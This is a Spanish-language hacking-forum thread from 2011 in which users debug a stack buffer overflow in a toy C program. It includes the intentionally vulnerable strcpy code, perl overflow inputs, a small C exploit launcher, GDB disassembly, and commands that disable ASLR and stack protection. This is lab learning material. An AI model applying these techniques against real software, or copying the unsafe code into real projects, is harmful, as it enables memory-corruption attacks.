Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Garfield07 en 7 Enero 2011, 17:58 pm



Título: ¡¡¡ No puedo sobreescribir el RET !!!
Publicado por: Garfield07 en 7 Enero 2011, 17:58 pm
Bueno, tengo un proyectito en las manos, pero no quiero empezarlo hasta acabar esta tonteria...
Escribo esto aqui porque el tema "No puedo sobreescribir EIP" ya no seria... "correcto"

Bueno, hice un programa muy sencillito, BoF, para explotarlo en Linux. Desactivo protecciones, y me encuentro con que
Mi code:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. if (argc != 2) return 1;
  8. char buffer [4];
  9. strcpy (buffer, argv [1]);
  10. return 0;
  11. }
  12.  
  13.  
  14. int feo ()
  15. {
  16. printf ("Hola");
  17. exit (1);
  18. }
  19.  
Ahora, corro en GDB, y...
Código:
(gdb) r $(perl -e 'print "A"x8 ."B"x4;')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "A"x8 ."B"x4;')

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)
Por que no me muestra el mensajito de "Cann't access memory at position 0x41414141"?
PD: Tengo la shellcode lista y preparada... Gracias por leer y (espero) vuestras respuestas.
PD2: Aparte, la shellcode es para luego. Lo que quiero es que me salte a la funcion feo. Mas tarde metere la shellcode...


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Ivanchuk en 7 Enero 2011, 20:01 pm
Igual te esta diciendo que se fue de rango con el SIGSEGV, o sea que no puede ejecutar esa instruccion. Parece que no te esta tomando el bof.
Proba de hacer ejecutable la pila.
Código:
gcc -fno-stack-protector -z execstack tuprog.c


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Garfield07 en 7 Enero 2011, 20:38 pm
Nada. Alguna idea?
Código:
Starting program: /home/juanra/Escritorio/Shell/vuln AAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main ()
(gdb)


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Ivanchuk en 7 Enero 2011, 21:12 pm
que sos complicado sangrini ;D. Proba de mandarle mas bytes, a mi me funciono, debe haber otras boludeces en la pila a parte de tu buffer.


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: AlbertoBSD en 7 Enero 2011, 21:36 pm
compila el programa sin informacion de depuracion y pega el codigo en asm. te lo da el disas main.

Saludos


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: M3st4ng en 7 Enero 2011, 23:47 pm
Hola!

Esto que te está pasando es lo mismito que postee yo hace semanas. Es por algún parámetro que usa gcc como protección. Busca por "google" porque recuerdo haber probado varias cosas, incluso compilé con otras versiones del gcc.

¿Has probado a poner esto?

Código:

sysctl -w kernel.randomize_va_space=0


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Garfield07 en 8 Enero 2011, 19:25 pm
Sep, lo tengo desactivado por cuestiones de dificultad :P aun no puedo


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Garfield07 en 8 Enero 2011, 19:36 pm
compila el programa sin informacion de depuracion y pega el codigo en asm. te lo da el disas main.
Sin? Ahora mismo lo pruebo...

Código:
0x08048464 <main+0>:	lea    ecx,[esp+0x4]
0x08048468 <main+4>: and    esp,0xfffffff0
0x0804846b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804846e <main+10>: push   ebp
0x0804846f <main+11>: mov    ebp,esp
0x08048471 <main+13>: push   ecx
0x08048472 <main+14>: sub    esp,0x24
0x08048475 <main+17>: mov    DWORD PTR [ebp-0x1c],ecx
0x08048478 <main+20>: mov    eax,DWORD PTR [ebp-0x1c]
0x0804847b <main+23>: cmp    DWORD PTR [eax],0x2
0x0804847e <main+26>: je     0x8048489 <main+37>
0x08048480 <main+28>: mov    DWORD PTR [ebp-0x18],0x1
0x08048487 <main+35>: jmp    0x80484af <main+75>
0x08048489 <main+37>: mov    edx,DWORD PTR [ebp-0x1c]
0x0804848c <main+40>: mov    eax,DWORD PTR [edx+0x4]
0x0804848f <main+43>: add    eax,0x4
0x08048492 <main+46>: mov    eax,DWORD PTR [eax]
0x08048494 <main+48>: mov    DWORD PTR [esp+0x4],eax
0x08048498 <main+52>: lea    eax,[ebp-0x8]
0x0804849b <main+55>: mov    DWORD PTR [esp],eax
0x0804849e <main+58>: call   0x8048374 <strcpy@plt>
0x080484a3 <main+63>: call   0x8048344 <getchar@plt>
---Type <return> to continue, or q <return> to quit---
0x080484a8 <main+68>: mov    DWORD PTR [ebp-0x18],0x0
0x080484af <main+75>: mov    eax,DWORD PTR [ebp-0x18]
0x080484b2 <main+78>: add    esp,0x24
0x080484b5 <main+81>: pop    ecx
0x080484b6 <main+82>: pop    ebp
0x080484b7 <main+83>: lea    esp,[ecx-0x4]
0x080484ba <main+86>: ret   

Y mi idea es que el EBP no va en la pila...
Le meto este exploit...
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main ()
  5. {
  6. char  nops [4];
  7. memset (nops, '\x90', 4);
  8. char ret [4] = "\xbb\x84\x04\x08";
  9.  
  10. char command [19];
  11. strcpy (command, "./vuln ");
  12. strcat (command, nops);
  13. strcat (command, ret);
  14. system (command);
  15.  
  16. return 0;
  17. }
  18.  
Se me ha ocurrido una cosa...
Le meto cuatro nops, que son para el buffer, y listo. Sin EBP. Los 4 NOPS y ret. El ret apunta a una funcion que no se llega a ejecutar con un printf y un exit. Es sencillo. Solo ejecutar ese printf. Sin embargo... Fallo de segmentación, no se cuantos nops meterle, si 4, 8, 12...
Voy a probar otra cosa y posteo...


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Garfield07 en 9 Enero 2011, 15:27 pm
He probado a meterle 4, 8 y ahora 12 nops, pero me da fallo de segmentacion...
Que le pasa?


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Ivanchuk en 9 Enero 2011, 18:52 pm
Tendrias que analizar tu codigo. Tenes como una especie de proteccion. Fijate

El main es llamado por __libc_start_main asi que se puede suponer que a la entrada de tu main en el top de la pila tengas la ip de retorno a una direccion x de __libc_start_main, ponele que se llame ret_libc.

ESP:     ret_libc
ESP+4: main_param

Suponiendo que ese es el estado de la pila en main+0 se puede arrancar a ver como evoluciona
Código:
0x08048464 <main+0>:	lea    ecx,[esp+0x4] ; ECX apunta a main_param
0x08048468 <main+4>: and    esp,0xfffffff0; Alineacion de la pila a 16 bytes
0x0804846b <main+7>: push   DWORD PTR [ecx-0x4]; Mete en la pila el valor ret_libc
0x0804846e <main+10>: push   ebp; Salva ebp
0x0804846f <main+11>: mov    ebp,esp
0x08048471 <main+13>: push   ecx; Y salva ecx

Si se siguió bien el hilo, el estado de la pila a esta altura seria una cosa asi:

ESP  : ECX, o puntero a main_param
+4   : EBP
+8   : ret_libc
--- Espacio de alineacion ---
+8+a     : ret_libc
+8+a+4 : main_param

Siguiendo la ejecucion
Código:
0x08048472 <main+14>:	sub    esp,0x24; "malloc" de tus variables internas
0x08048475 <main+17>: mov    DWORD PTR [ebp-0x1c],ecx
0x08048478 <main+20>: mov    eax,DWORD PTR [ebp-0x1c]
0x0804847b <main+23>: cmp    DWORD PTR [eax],0x2
0x0804847e <main+26>: je     0x8048489 <main+37>
0x08048480 <main+28>: mov    DWORD PTR [ebp-0x18],0x1
0x08048487 <main+35>: jmp    0x80484af <main+75>
0x08048489 <main+37>: mov    edx,DWORD PTR [ebp-0x1c]
0x0804848c <main+40>: mov    eax,DWORD PTR [edx+0x4]
0x0804848f <main+43>: add    eax,0x4
0x08048492 <main+46>: mov    eax,DWORD PTR [eax]
0x08048494 <main+48>: mov    DWORD PTR [esp+0x4],eax
0x08048498 <main+52>: lea    eax,[ebp-0x8]
0x0804849b <main+55>: mov    DWORD PTR [esp],eax
0x0804849e <main+58>: call   0x8048374 <strcpy@plt>
0x080484a3 <main+63>: call   0x8048344 <getchar@plt>
---Type <return> to continue, or q <return> to quit---
0x080484a8 <main+68>: mov    DWORD PTR [ebp-0x18],0x0
0x080484af <main+75>: mov    eax,DWORD PTR [ebp-0x18]
0x080484b2 <main+78>: add    esp,0x24; "Free" de tus variables internas

Suponiendo que argv[1] puede crashear todo el frame de main, todos los pops que tenes aca estan infectados.
Código:
0x080484b5 <main+81>:	pop    ecx; ecx = 0x41414141
0x080484b6 <main+82>: pop    ebp; ebp = 0x41414141
0x080484b7 <main+83>: lea    esp,[ecx-0x4]; esp = 0x4141413d
0x080484ba <main+86>: ret   

Cuando se ejecute el ret, la direccion de retorno se va a buscar a la 0x4141413d.
Esa doble referencia que prepara la pila para el ret te obliga a conocer la direccion exacta de tu exploit. Si tenes el randomize activado es complicado, sino podes arreglartelas sabiendo que el ret se toma de una direccion que metas en la pila menos 4.
Por lo que el payload deberia contener 0x24 bytes(variables internas) + ECX + EBP + RET2EXPLOIT. Con ECX apuntando a donde esta RET2EXPLOIT + 4 y RET2EXPLOIT apuntando a tu shellcode.

Ahora bien, si alguien sabe:
- Porque guarda dos veces ret_libc en la pila si despues lo salta para volver al estado del frame anterior en main+83?


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Garfield07 en 9 Enero 2011, 19:13 pm
Y como sobreescribo es 3d? Yo en este caso lo unico que quiero es hacerle saltar a una funcion llamada "feo"
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main (int argc, char *argv [])
{
if (argc != 2) return 1;
char buffer [4];
strcpy (buffer, argv [1]);
getchar ();
return 0;
}


int feo ()
{
printf ("Hola");
exit (1);
}
Yo lo que hago es saber cuantas As le  tengo que meter, menos 4 para la direccion de "feo"...
Código:
r AAAABBBB
r AAAAAAAABBBB
r AAAAAAAAAAAABBBB
r AAAAAAAAAAAAAAAABBBB
Y que el ret me apunte a 0x42424242... ¿Como lo hago asi?

Realmente me has liado xD te he perdido ...  :P vamos a ver, tengo una proteccion sin desactivar?
compilo asi:
Código:
gcc --no-stack-protector -o vuln vuln.c -g

Te agradezco que tengas paciencia, pues se que en algunos casos es realmente dificil con algunos... como yo xD...
Como lo hago? Gracias xD


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Ivanchuk en 9 Enero 2011, 20:57 pm
No se porque te genera ese prologo/epilogo tu compilador. El mio si compilo igual que vos lo unico que hace es salvar ebp y alinear la pila, lo que da un esquema de explotacion generico (sobreescribir ret y listo). El caso tuyo como te conte es mas complicado por esa astucia del compilador.

Te resumo sino que es lo que sobreescribis y en que afecta la ejecucion del programa vulnerable.
Suponete que ejecutas tu programa asi:

Código:
Vuln AAAAAA...AA(shellcode)

O sea, muchas As y al final tu shellcode.
Bueno despues de una cantidad x determinada As, vas a tener 4 As que van a sobrescribir el registro ecx, lo cual quiere decir que tenes control externo de ese registro. Lo que se sabe es que para establecer la direccion de retorno desde main se usa ecx y tambien se sabe de que manera se usa. O sea que tenes un control indirecto de la direccion de retorno.

De que manera se usa el valor de ecx para establecer la direccion de retorno?
La direccion de retorno debe estar almacenada en la direccion ECX - 4.

Bueno vamos a hacer ciertas suposiciones:
- Se le pasa como argumento a Vuln 40 As y despues tu shellcode.

- A partir de la direccion de memoria 0xbfff0000 se encuentran las 40 As seguidas de tu shellcode despues de la ejecucion de strcpy().

- ECX va a tomar el valor de las A en las posiciones 21-22-23-24.

Bueno dado ese escenario tu shellcode comienza en la dir 0xbfff0028 (40 en hexa es 28).
Ahora la idea seria sobreescribir ECX con una direccion determinada de tal manera que en esa direccion se encuentre el valor 0xbfff0028, o sea la direccion de tu shellcode.
Por ejemplo si en ECX escribis 0xbfff0004 (acordate que ecx lo controlas desde el argumento), tu programa va a tomar ECX, le va a restar 4 (lo que da 0xbfff0000) y va a usar el contenido de la direccion 0xbfff0000 como direccion de retorno. Pero resulta que esa direccion corresponden a las primeras 4 As del argumento de Vuln! Por lo que los 4 primeros valores del argumento pasado a Vuln deberian ser 0xbfff0028 (en little endian), es decir la direccion de tu shellcode.

Espero haber sido mas explicativo. Lo mejor es que desensambles tu codigo con objdump, break en main y lo pases con step en gdb. Cuando llegues a pop ecx mira el estado de la pila, fijate a que valor apunta esp al momento del ret, etc. Debug debug y mas debug.

Suertes!


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: Ivanchuk en 10 Enero 2011, 22:22 pm
Estuve buscando sobre el codigo que te genera tu compilador y es posible que tengas que actualizarlo.

Encontre un bug que fue reportado en el siguiente enlace
:http://gcc.gnu.org/bugzilla/show_bug.cgi?id=28074

Al que reporta el problema le pasa lo mismo que a vos. Gcc le genera esto
Código:
leal    4(%esp), %ecx
andl    $-16, %esp
pushl   -4(%ecx)
pushl   %ebp
movl    %esp, %ebp

En lugar de algo mas eficiente como esto
Código:
pushl     %ebp  
movl      %esp, %ebp
andl      $-16, %esp

Que version de compilador estas usando Sagrini?


Título: Re: ¿¿¿ Mensaje GDB ???
Publicado por: leucocito en 15 Enero 2011, 14:20 pm
La respuesta  Sagrini creo que la tienes por privado revisa tus mensajes de entrada,saludos!


Título: Re: ¡¡¡ No puedo sobreescribir el RET !!!
Publicado por: Garfield07 en 17 Enero 2011, 12:24 pm
No, no la tengo  :huh:
Bueno, no se que pasa pero algunas respuestas "desaparecen"... Tendre que hacer algo...
Bueno, reescribo lo que dije el otro dia...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main (int argc, char *argv [])
  6. {
  7. if (argc != 2) return 1;
  8. char buffer [4];
  9. strcpy (buffer, argv [1]);
  10. return 0;
  11. }
  12.  
  13.  
  14. int feo ()
  15. {
  16. printf ("Hola");
  17. exit (1);
  18. }
  19.  
Bueno, este es mi code. Pues resulta que quiero hacer saltar la ejecucion a feo (). Entonces, lo que hago es este exploit...
Código:
#include <stdio.h>
#include <string.h>

int main ()
{
        printf ("Hola!");
char  nops [8]; // Buffer + EBP
memset (nops, '\x90', sizeof (nops));
char ret [4] = "\x76\x84\x04\x08"; // Direccion regreso de "feo". Comprobada con GDB.

char command [19]; //8+4+7
strcpy (command, "./vuln ");
strcat (command, nops);
strcat (command, ret);
system (command);

return 0;
}
Y me suelta fallo de segmentacion... Sin imprimirme "hola". Por que?
Luego, el exploit no va...
¿Que puedo hacer?


Modf:
Y ahora, pruebo a hacerlo sin exploit.
Código:
juanra@Juanra:~/Escritorio$ ./vuln AAAAAAAA$(perl -e 'print "\x76\x84\x04\x08"') 
Fallo de segmentación
Bueno y ahora?
Voy a liarme con GDB, ahora posteo...


Título: Re: ¡¡¡ No puedo sobreescribir el RET !!!
Publicado por: Ivanchuk en 17 Enero 2011, 19:22 pm
Sangrini me desangré explicandote!

Bue, olvida todo lo que dije, compilalo asi

Código:
gcc -fno-stack-protector -S -o vuln.s vuln.c

y pega el contenido del archivo de salida vuln.s asi se facilita la ayuda.


Título: Re: ¡¡¡ No puedo sobreescribir el RET !!!
Publicado por: Garfield07 en 17 Enero 2011, 19:35 pm
Código
  1. .file "vuln.c"
  2. .text
  3. .globl main
  4. .type main, @function
  5. main:
  6. leal 4(%esp), %ecx
  7. andl $-16, %esp
  8. pushl -4(%ecx)
  9. pushl %ebp
  10. movl %esp, %ebp
  11. pushl %ecx
  12. subl $36, %esp
  13. movl %ecx, -28(%ebp)
  14. movl -28(%ebp), %eax
  15. cmpl $2, (%eax)
  16. je .L2
  17. movl $1, -24(%ebp)
  18. jmp .L3
  19. .L2:
  20. movl -28(%ebp), %edx
  21. movl 4(%edx), %eax
  22. addl $4, %eax
  23. movl (%eax), %eax
  24. movl %eax, 4(%esp)
  25. leal -8(%ebp), %eax
  26. movl %eax, (%esp)
  27. call strcpy
  28. movl $0, -24(%ebp)
  29. .L3:
  30. movl -24(%ebp), %eax
  31. addl $36, %esp
  32. popl %ecx
  33. popl %ebp
  34. leal -4(%ecx), %esp
  35. ret
  36. .size main, .-main
  37. .section .rodata
  38. .LC0:
  39. .string "Hola"
  40. .text
  41. .globl feo
  42. .type feo, @function
  43. feo:
  44. pushl %ebp
  45. movl %esp, %ebp
  46. subl $8, %esp
  47. movl $.LC0, (%esp)
  48. call printf
  49. movl $1, (%esp)
  50. call exit
  51. .size feo, .-feo
  52. .ident "GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3"
  53. .section .note.GNU-stack,"",@progbits
  54.  
  55.  
Se nos podria haber ocurrido hace tiempo no? jeje que locos estamos...


Título: Re: ¡¡¡ No puedo sobreescribir el RET !!!
Publicado por: Ivanchuk en 17 Enero 2011, 20:13 pm
Se nos podria haber ocurrido hace tiempo no? jeje que locos estamos...
Anon habia dicho maso lo mismo  ;)

Bue, mirando el estado del paciente, anda olvidandote de la historia "sobreescribir ebp y despues eip etc." mientras estes adentro de main.

Si queres seguir con el esquema tradicional, mete el strcpy en una funcion llamada por main, o sea una cosa asi:
Código:
void soy_vuln(char *arg) {
  char buffer [4];
  strcpy (buffer, arg);
}

int main(int argc, char *argv[])  {
  if (argc != 2) return 1;

  soy_vuln(argv[1]);
}

Proba y contanos


Título: Re: ¡¡¡ No puedo sobreescribir el RET !!!
Publicado por: Garfield07 en 19 Enero 2011, 18:39 pm
De acuerdo Ivanchuck, pero... por que?
---------------------------------------------------------------

Cierro todo. Seré tonto! Evidentemente strcpy no puede sobreescribir la direccion de vuelta, porque la funcion se mete antes de la vuelta! Entonces el ret va antes que los Ases, asi que no se puede sobreescribir...
Eso ultimo me extrañaba. Hace poco publique aqui un mensaje en el que se notaba que no se podia cambiar el ret porque los ases estaban en otro sitio... De todos modos lo tuve que dejar y pase de el... Y el mensaje "se borro"  :silbar:
Ahora modifico con la respuestaa...

Gracias Ivanchuck! Ahora tendre que buscar como hacer para que me funcione con mi code, porque se podra... Todo se pude...


------------------------------------------------------
Vale, se acabo. Lo consegui  ;D pero sin exploit. Tuve que usar perl...
./vuln $(perl -e 'print "AAAAAAAA\x\x\x\x')
Y la direccion en las X's

Entonces ahora queda...
1) Pasar a exploit. Me da fallo de segmentacion  :huh: a ver que pasa porque funciona con perl.
2) Hacerlo con mi code...
3) Hacerlo con shellcode


Po-de-mos!!!